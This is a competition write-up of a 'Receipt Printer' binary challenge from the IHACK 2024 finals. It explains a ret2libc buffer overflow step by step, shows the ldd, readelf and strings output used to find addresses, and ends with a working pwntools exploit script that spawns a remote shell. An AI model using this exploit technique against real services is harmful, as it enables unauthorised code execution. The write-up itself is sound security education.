FINALE ROUND IHACK 2024

WRITEUP

TEAM: N3WBEES

CHALLENGE: RECEIPT PRINTER

✨ Walkthrough

Identifying the Vulnerability

The programme will ask for the input of order ID and I just enter a random input but nothing interesting happen. That said, let's try to overflow the buffer hoping something will pop up. We got an error due to segmentation fault after inserting like 100 characters, which mean that it is **buffer overflow** vulnerability. Beside that, the value inside EIP was replaced with our input, which mean that we can overwrite the stack as well (***ret2libc chal****, right?*).

Part 1 – Finding the offset for padding

After manually debug the programme using the *vanilla gdb sobsob*, we managed to find the size of the buffer in order to reach the EIP which is 78.

Part 2 – Finding the base address of libc

Command used > `ldd receipt_app`

"*ldd command is used to find out the shared libraries required by a programme*" – Google. We also can use this command to obtain the directory and address for each library embedded in the binary.

```
team09@debugger:/opt/receiptprinter$ ldd receipt_app
     linux-gate.so.1 (0xf7fc7000)
     libreceipt.so => /usr/local/lib/libreceipt.so (0xf7fb4000)
     libdb.so => /usr/local/lib/libdb.so (0xf7faf000)
     libmariadb.so.3 => /lib/i386-linux-gnu/libmariadb.so.3 (0xf7f68000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d40000)
     libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xf7d23000)
     libssl.so.3 => /lib/i386-linux-gnu/libssl.so.3 (0xf7c73000)
     libcrypto.so.3 => /lib/i386-linux-gnu/libcrypto.so.3 (0xf7826000)
```

After executing the command, we can find the base address of libc which is 0xf7d40000.

Part 3 – Finding the system's address and binsh's address

Command used > `readelf -s libc.so.6 | grep system`

```
ctfuser@fortress:/lib/i386-linux-gnu$ readelf -s libc.so.6 | grep system
   3172: 0004c910    55 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.0
```

Command used > **`strings -tx libc.so.6 | grep /bin/sh`**

```
ctfuser@fortress:/lib/i386-linux-gnu$ strings -tx libc.so.6 | grep /bin/sh
   1b5faa /bin/sh
```

By using these commands, we able to get the offset for system and shell. The actual addresses can be obtained by adding these values with the libc's base address.

⚙️ Exploit Script

In short, the payload sent will fill in the local variable first and then followed by the system function with 'bin/sh' as argument to spawn the shell.

*Sorry for the poor script *shshsh* since it didn't automate the process of exploitation and obtaining the flag from many teams. We're running out of time *lmao* since we solved it like 2 hours before the times up (*nahhh, I'm just bad at it*). Nevertheless, it can be improved for sure. *Once again, sorry* 🙏.

```python
from pwn import *

ip = "172.16.XXX.XX"
p = remote(ip, 9100)

libc_base = 0xf7d40000
system = libc_base + 0x4c910
binsh = libc_base + 0x1b5faa

payload = b'A'*78 + p32(system) + b'b'*4 + p32(binsh)

p.sendlineafter(b"Enter Order ID: ", payload)
p.sendline(b'cd ../../..')
p.sendline(b'usr/local/bin/flag')

p.interactive()
p.close()
```